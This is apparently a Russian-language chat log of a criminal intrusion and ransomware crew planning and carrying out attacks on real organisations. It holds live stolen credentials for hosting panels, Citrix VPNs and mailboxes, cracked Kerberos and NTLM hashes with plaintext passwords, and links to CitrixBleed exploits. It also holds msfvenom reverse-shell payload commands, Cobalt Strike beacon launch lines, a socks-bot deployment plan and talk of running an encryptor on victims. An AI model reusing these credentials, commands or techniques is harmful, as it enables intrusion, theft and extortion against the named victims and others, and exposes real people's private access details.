погодите)

э

это же почтовая панелька от сипанели можно скачать

в нее можно и по imap часто зайти

имея логин и пасс

> <@usernamegg:matrix.bestflowers247.online> и слать с них можно ?

> <@usernamegg:matrix.bestflowers247.online> ```

https://aitwn.org:2096/ ; secretariat@aitwn.org ; 123@NTW.com? вошел сюда

там тупо шлак в инбоксе

хотя с мыла и пасса тоже такого хватает

подключиться не могу, в норм сетку

Unable to establish the VPN connection. The VPN server may be unreachable. (-14)

support@powercs.us у меня есть imap такой в базе

secretariat@aitwn.org этот тоже кстати есть imap

про что и говорил, в большинстве случаем нет смысла даже выкачивать через эту панель, так как будет imap работать

naveed@advanlogix.com вот этой нет... сейчас посмотрел в инбоксе 33 письма с херней, т.е. пустышка

там 3 бота в целом?

тот что до утра жил с карбоном вернется думаю

ну ок

берите

почти готово

они очень хорошо поработали походу ...

ну ок, напишу скрипт, чтобы это еще отчекать

долго еще? пендосы скоро просыпаются

ага)

на них же работаем)

> <@usernamegg:matrix.bestflowers247.online> ach, [22 нояб. 2023 г., 17:25:00]:

не поможет, имя хоста не подходит под авторизацию

==

ок

> <@usernamegg:matrix.bestflowers247.online> в панели можно создать нового юзера на почтовом домене, любого

https://advanlogix.com:2096/ ; naveed@advanlogix.com ; }7Cz4jgJBSS0 вот тут содаст

naveed_test@advanlogix.com

у меня тут от некоторых детектов истерика просто)))

просто я не вижу, чтобы через 2096 панель можно было другого создать юзера

детекты ставят просто на функцию, вот есть функциия и в ней запуск другой функции, и вот они в тупую туда поставили детект

на определение локали поставили детект

> <@usernamegg:matrix.bestflowers247.online> sent a file.

то, что и раньше нам выдавал

у меня пока зывается, что у нас все эти доступы есть

а, хотя стоп

не так посмотрел

ладно, пишу пока скрипт все равно

jr

ок

нет онлайн?

+

> <@usernamegg:matrix.bestflowers247.online> ну да, чистить это не всегда легко а скорее всегда сложное занятие...

не ожидал честно говоря, что будет так

пока не понятно

я сетку смог сделать через forti, потренеровался

> <@usernamegg:matrix.bestflowers247.online> sent a file.

смотрю что за почты там такие валидные

https://wedyan.org:2096|zubair@wedyan.org|reemy 123

пустышка

там 6к писем о том, что не доставили, слали с них короч

> <@usernamegg:matrix.bestflowers247.online> sent a file.

пусть чисто юсовские выдает

++

я кароч

отсканил сначало в мячике

потом отсканил по sbm в crackmapexec

> <@usernamegg:matrix.bestflowers247.online> у тебя лицуха есть ?

> <@usernamexx:matrix.bestflowers247.online> потом отсканил по sbm в crackmapexec

но не по рдп и не по wmi не смог зайти

> <@usernamegg:matrix.bestflowers247.online> отлично, она тебе тоже встала ?

> <@usernamexx:matrix.bestflowers247.online> но не по рдп и не по wmi не смог зайти

потом уебал зеро DC

да

был еще тот геморок, но все сделал

поднял всё

проверяйте, если что не работает сейчас пофикшу

норм ща

картинки буду долго грузиться

на шелл заходить как root или как?

скоро посмотрю

как картинки закончу загружать напишу, на проверку сервер дадим старый

пока пусть не трогает

не подключается

👍️

aig.com_emails.txt

```

ок

всё, картинки на месте

отойду на 15 мин

пусть проверяет старый сервак и его надо зачистить, я не могу тк система ридонли

это рекорд по скорости поднятия блога)

15 минут примерно))

по netcat молчит не подключается

`root@srv:~# netcat -u 13.57.243.97 19771`

ага

ага, заебал он)

я сегодня за WSUS скинул SS инфу

а ты откуда за WSUS узнал?

просто WSUS делается внутри сетки

+

да понятно что не просто так, я вот только сегодня SS скинул ссылку на WSUS

plesk nov 3.txt New: 114

file: smtp_nov_3.txt

owa nov 3.txt Count valid: 20

я WSUS не разу не делал это не простая хуйня

mail pass nov 3.txt Imported: 5,095

cpanel nov 3.txt COUNT_NEW = 1437

https://labs.nettitude.com/blog/introducing-sharpwsus/

WSUS это не эксплоит о котором ты думаешь

это MITM атака

ну дак это хуйня, это прям когда вобще проебашить не можешь никак придется делать такое

но это нужно тестировать на тест стенде сначала, а потом уже пробовать на живых таргетах

да нужна тачка можно попробовать

надо бота, на нем попробовать запустить это

у каждой конторы есть WSUS сервер и не один, он распределяет нагрузки типа

как nginx

я же тут в свободное время за nginx изучаю плотно

я понял почему у нас у шопа + еще 3 сервера идут или 2 дополнительного

они для распределения нагрузки

скорее всего но нужно смотреть

как round hound

не тестил этот софт?

дак может нахуй этот WSUS

есть же cmd

позвать в кобу не?

в кобу же все равно нужно звать и крутить

думаю пока ждем нагрузку может взять разобраться

или там уже пробовали ее крутить?

2096_good.txt Total: 875 Valid: 342

под сбор данных майков бы заюзал его

Valid в смысле для нас валидные и новые почтовые панели

ну скорее он сломается от WSUS потому что это подмена сервера на себя

дак это же цитрикс от него доступ всегда есть

```

там вроде как инета нет

только dns

я пока что в cmd сижу там

поставил парсить KBшки

потому что в systeminfo заметил что последняя KB 2019 года ебать

вопрос вслух

а мы хуярим прямо со своих впс-ок и палим сингл впн ?

* а мы хуярим прямо со своей виртуальной кали, винды и палим сингл впн ?

да вроде как да

ну на них можно шеллы допустим делать

ну не берите пока

2020 года последнее обновление накатывалось

у нас другая проблема, в нагрузке

01/19/2020 - одно обновление, все остальные 2019, 2018

прикол

ок

но нам все же пока сипанелей достаточно

плюс, мы уже поняли что атачем слать нужно

да походу да

я ебал

ага

там кортекс стоит

у меня только деф его палит и нортон

и все

я уже даже квик хил скинул

тупо везде чисто кроме дефа ...

у меня такого никогда не было ...

и макафи вроде как

думаете там норм конторы?

X 2023-11-22 в 19.29.12.jpg

> <@usernamegg:matrix.bestflowers247.online> https://mailserver3.vhosting-it.com:2222/;acquavi4;Y4)QB2-g3k9yTc

ну там есть файловый менеджер

через него можно пролить скрипт php

я заливаю свой маленький скрипт

который только нужен, что другие мои файлы заливать

и все

это другое совсем

могу попробывать сокс поднять допустим

ебать там старый powershell стоит))

я думаю какого хуя iwr не пашет

это не мой))

его залили в 2022 году

скажешь когда заходить

бля туда еще копи паст не делается почему то

shell netcat а что за он?

так вот же он

https://nmap.org/download

есть файл php его &

?

входит в пакет nmap

ты видимо на RDP зашел

или кто?

ага

так хочеться быстрее это решить

чтобы уже запутстиься, проверить как будет идти с этим >img

> <@usernamegg:matrix.bestflowers247.online> shell netcat надо мне

> <@usernamegg:matrix.bestflowers247.online> https://mailserver3.vhosting-it.com:2222/;acquavi4;Y4)QB2-g3k9yTc

посмотрю другие доступы, где домен реально будет привязан к панеле

Citrix выступила (https://www.netscaler.com/blog/news/netscaler-investigation-recommendations-for-cve-2023-4966/) (с последним китайским) предупреждением, напоминая в стотысячный раз администраторам NetScaler и ADC не только обновить свое ПО, но и залочить предыдущие пользовательские сеансы и завершить все активные.

зашел

где бы найти CitrixBleed

https://panel.freehosting.com:2222/;birlesim;0guy09Vb2H тож странно, пролил скрипт, захожу по домену http://birlesimteknoloji.com но скрипта не видно моего там

https://github.com/GossiTheDog/scanning/blob/main/CitrixBleed.curl

https://github.com/GossiTheDog/scanning/blob/main/http-vuln-exchange-proxyshell.nse

NSE для nmap чека

а не NSE это для эксчейнжей

https://github.com/mlynchcogent/CVE-2023-4966-POC/blob/main/exploit.py

можно сразу пачку скормить

уже 4 панели проверил, там домены не работают уже.. видимо не пользуются этими панелями

http://116.202.103.227/ddae5efc472fc6503ed67b664c9fed71/

ну я вот тут поднял

сокс

https://h120.hitrost.net:2222/;zzajj01;bhZZ334-xVsaa от этой панели

но там домен ornepo.com вообще на губинфо нет его

cob16DNS_x86_.bin

DLL, make entrypoint xiaopin

это летом же еще было

MOVEit когда уебали

дак у них же потом еще одна RCE была

да

дак это веб дырявый хули

приложения

тоже как с джунипером

там почти sql инъекция))

в общем сокс поднялся

4003 и 4004 порт, два раза просто запустил

просто RFI

adm443

ну долбаебы хули))

я позвать пиздавню эту не могу, криптануть нужно raw > dll

ну скриптик маленький написал

exe запускаю и оно не запускается без ошибки

на php

ну и файл не удаляет АВ

залупа какая то

`https://arpa.uci.com/vpn/index.html;coto;Catarina2 | U&P`

нет

это же линукс

сокс бот для линукса

ну эта же панель

на линуксе

соответственно файл от сокс бота тоже для линукс

вопрос же в другом

что вы дальше будите делать?

сокс поднял

что дальше вам нужно?

KESA_kekhash.txt

> <@usernamemm:matrix.bestflowers247.online> sent a file.

ну я могу выполнить команду шелла

ну сбросьте шелл на пхп

залью туда

> <@usernamemm:matrix.bestflowers247.online> Ust4m0K_2014

> <@usernamegg:matrix.bestflowers247.online> https://mailserver3.vhosting-it.com:2222/;acquavi4;Y4)QB2-g3k9yTc

`https://auth.ghdc.be/vpn/index.html;CUMA35417;AldKlc10918. | cannot complite your request`

> <@usernamegg:matrix.bestflowers247.online> скинь в чат где криптуют

могу шелл на php туда залить, если он есть

он был, но у меня него нет сейчас

я туда бх залил дума луже так двигаться там хули

* я туда бх залил дума уже так двигаться там хули

бх запускаю и оно сразу выключается даже не запустившись

для линукса

через мету сгенерить elf файл

под маки macho расширение

тоже можно в мете сгенерить

я как то помню свой мак заражал когда метой баловался в те времена лохматые))

но там что бы запустить под мак метовский пейлоад что то подтверждать нужно было вроде и прописывать какие то комманды потому что мак нахуй слал вроде как

`msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f elf > shell-x86.elf`

`https://citrix-ca.cloudwerx.com/vpn/index.html;abms001;@BMcollege1 | U&P`

`msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f elf > shell-x64.elf`

+

делай x86

`https://citrix.afpesp.org.br/vpn/index.html;ctrapino;123b@gxy | U&P`

https://habr.com/ru/companies/ruvds/articles/343612/

`https://citrix.rcuae.ae/vpn/index.html;fatima.alkindi;FAT!123123f | U&P`

> <@usernamegg:matrix.bestflowers247.online> ___

по linux тачкам?

ну я туда не смогу поставить что-то

у меня же не админ права

ну если прольешь все придут на мету

к шеллу

https://h120.hitrost.net:2222/evo/user/terminal

кстати

вот cmd

а что с этими linux делать то в итоге?

ботнеты для linux есть вроде как

вроде не на всех

https://panel.freehosting.com:2222 вот тут нет допустим

но команды можно будет выполнить через пхп скрипт если что

если только напишите, какие команды нужно выполнить

https://vm656.dnspropio.com:2222/;admin;jmC8xn^1wScsB ну вот уже второй, у которого отключен терминал

ща зайду гляну

я просто с той ебусь еще паралельно

linux тачки все в домене или как?

ты ssh доступы взял пачку что ли?

а что тогда?

аа въебанные что ли

> <@usernamegg:matrix.bestflowers247.online> https://h120.hitrost.net:2222/evo/user/terminal

Warning: shell_exec() has been disabled for security reasons

https://climbupdigital.com.br/testrun.php

вот тут шелл отключен

не руты

?

X 2023-11-22 в 20.46.03.jpg

это подобие cpanel

эти таргеты web

$krb5tgs$23$*Administrador$kesa.local$MSSQLSvc/PZ010.kesa.local:SQLEXPRESS@kesa.local*$8ea...aeae:Muzarak3

https://www.perpetuumjazzile.si:2222/;pj;xskSYdPpLVe77W5gZts тут есть терминал

привет

надо 3 билда

ты хочешь юзать из под носки?

ну вот сокс сервисы и делают с подобных доступов

с брученых микротиков итд

?

+

он там 1млн сбросил

я поставил на чек

чекаюется еще

на 4005 поднял сокс для https://www.perpetuumjazzile.si:2222/;pj;xskSYdPpLVe77W5gZts

у него есть терминал

какую сеть?

это обычные тачки ограниченные как VPS

что бы чекать тачки в домене или нет надо чекать конфиг самбы

ну так я думаю в этом и суть этой панельки

там на одном сервере просто будет много впксок

я как то изучал этот вопрос касаемо linux тачек которые в домене корпоративном, чекать там конфиг самбы надо и если он есть в нем написано к какому она домену прихуярена, но шанс почти нулевой сам понимаешь это не корпы)

можно массово почекать по сути конфиг и посмотреть выдачу

и от этого уже делать выводы

либо делать socks сервис))

а как его почекать?

понял, но это по сути будут всегда одни и теже соксы

что не хорошо

куда сейчас, мне нужно писать скрипты, чтобы это все проливать

завтра тогда уже могу сделать

в целом можно даже поднять сокс линуксовые на сипанелях

ну только если так

распределение можно же сделать

что бы не 1 гейт был

университетов много

> <@usernamegg:matrix.bestflowers247.online> сетевика домой не отпускай в плен его возьмите

ебать я обошел запуск exe

рот ебал этого казино

позвал на DNS

> <@usernamegg:matrix.bestflowers247.online> зенге зенге

ты там под чем?)))))

я хуентестер

красавчик хули

в скобочках НЕТ

харош уже

губишь себя

++

)))

ага

))

ЖОООСТКО

да я что то помню ты рассказывал

помню помню ты тогда охуел

да все помню ты рассказывал бля угарно пиздец поржал что то щас

охуенное время было

да возможно если я доживу )))

я инжекты кинул чай бахну

дальше нужно крутилово мутить

> <@usernamegg:matrix.bestflowers247.online> доступов подлить вам валидных ?

> <@usernamegg:matrix.bestflowers247.online> я думаю на фортиках застрали нормально

```

http://116.202.103.227/ddae5efc472fc6503ed67b664c9fed71/

ну вот побыстрому написал скрипт

`https://www.kesa.es/`

чтобы массово запустить на сипанелях

стучат

но все же да, нужно другой сервер взять

и все же нам сейчас не это сильно нужно

а хорошая нагрузка

да

у мелкора не получается почистить?

да

а не

я перезвал и сделал по другому

да

ладно, я наверное все уже. завтра сокс бота подниму и пролью туда массово

о норм!

да, я чутка только пролил

> <@usernamegg:matrix.bestflowers247.online> а по скольким заупстил ?

там shell exec видимо у многих отключен

у нас остались еще бб2 таргеты?

я бы убрал полностью из панели декрипт бб2

ок

ну завтра уже подниму их

не к спеху же

чего то не хватает

в той сетке 23 компа

которая citrix

другие скачал

dcam-pmas.local

там 1 всего траст

и их кто то уже LPEшил

ну вот словил сейчас только

image.png

это после LPE попыток такая шляпа остается

в папке Public работали

ну и мимик там не просто так лежал

такие дела (

+

да хватит пока

не берите

все равно с ними только вот соксы поднять

ладно, завтра под 2222 напишу скрипт, чтобы соксы поднять

и почту повыкачивать

svc_citrix.exe это мой файл

```

> <@usernamegg:matrix.bestflowers247.online> ты его запускал файлом ехе которые умеют заупскать другие файлы ?

офаюсь тогда

до завтра

пипец

сначала отключил себе рдп

затем когда включил не понял почему не работает

а я залил енкриптор а не декриптор

> <@usernamegg:matrix.bestflowers247.online> зачем

локер запустился, выключил мне рдп и загифровал файл

вместо декрипта

image.png

> <@usernamegg:matrix.bestflowers247.online> CHS1RDSPSHS08_491218_5D9650E8

школа, просто все порезано )

ага

да та же

что с ней делать?

откуда доменные)

я про сетку которая citrix

10 серверов онлайн и 2 ДЦ

да делаю, не работает декриптор с панели почему то

работает только если скачивать

от нее нет никаких еще доменных тут еще

как сделаю скину им декрипты

image.png

добавил в грейнс

как я их позову если у меня доменных нет

блочит и отваливается еще все

нужно крутить его

2803-13A 2023-10-31 Monte Cristo Bakery General Review Report 7.pdf

> <@usernamegg:matrix.bestflowers247.online> https://www.zoominfo.com/c/naylor-association/43107981 $78.8M

щас

> <@usernamegg:matrix.bestflowers247.online> ```

`Matthew Englander::DCAM-PMAS:1122334455667788:8c96dddc9e7bc9845a5008d7c22f9ee7:010100000000000094ddc8767a1dda0161b77d9983630d61000000000800300030000000000000000000000000200000348b968e1ef2cc8a92d85d8a3237ba3be9cd0a7bddb66be1ac444b295f153c090a00100000000000000000000000000000000000090036004400430041004d002d0050004d00410053005c004d00610074007400680065007700200045006e0067006c0061006e006400650072000000000000000000`

MATTHEW ENGLANDER::DCAM-PMAS:1122334455667788:8c96dddc9e7bc9845a5008d7c22f9ee7:010100000000000094ddc8767a1dda0161b77d9983630d61000000000800300030000000000000000000000000200000348b968e1ef2cc8a92d85d8a3237ba3be9cd0a7bddb66be1ac444b295f153c090a00100000000000000000000000000000000000090036004400430041004d002d0050004d00410053005c004d00610074007400680065007700200045006e0067006c0061006e006400650072000000000000000000:mateng22

готово

панель полностью на бб3 теперь

да

ну можно попробовать купить новую 2022 датацентр

виртуалку ММ мы дать не можем)

так то PoC рабочий

ты хочешь скидку получить типа за нерабочую дц?

да

я с этой еще ебусь

делаю

отпишу

да

заебался уже

зашел

я слеш не могу поставить в этом cmd

adi.com 19М?

ну тут 1 ДЦ

трастов нет

внутренний адрес 192.168...

ну хуй знает

либо мелкая да либо просто хуйня

Ок

а там какой язык я что то не понял

все понял это канада

значит франция)

7 доменных админов

в сетке

++

да это я знаю

можно кербы снять безфайлово

попробовать

прям там в cmd

но инет нужен

но нужен powershell контекст из cmd, если такое возможно

я вышел с RDP

в большинстве случаев если внутренний адрес 192.168...это шерсть

если 1 траст

но бывают и исключения

но как правило нормальные конторы в ручную прописывают DHCP

а не как в игротеке где 192.168 ))

cobs.zip

ехе тоже запилил

> <@usernamegg:matrix.bestflowers247.online> ___

жестко, ща закажу

отпишу сразу как будет готово

27_443_x86.bin

30_443_x86.bin

burrito: muaddib6

`Позвал в кобу криптованным. AV CrowdStrike Falcon. От инжекта, спауна и запуска программ бикон сразу умирал. Через минут 30 соединение с Citrix пропало. Повторно подключиться не получилось.`

щас

cobs27_30.zip

++

rundll32.exe dll.dll, OleInit

++

17_DNS_x86.bin

ок

17_DNS_x86.zip

++

rundll32.exe dll.dll, OleInit

днс там дольше приходит, вы ж в курсе?

da podozhdy

sps

;)

доброе

доброе

доброе

не понял, что ему нужно?

Привет!

доброе

https://bestjammie.com/speakscientificovlsig.zip вот залил файл его

http://95.217.41.88/3320fda322362480a46e024ff9d937d5/

запустил пролил

да, разбираем вчерашний мат

ну 200 уже есть соксов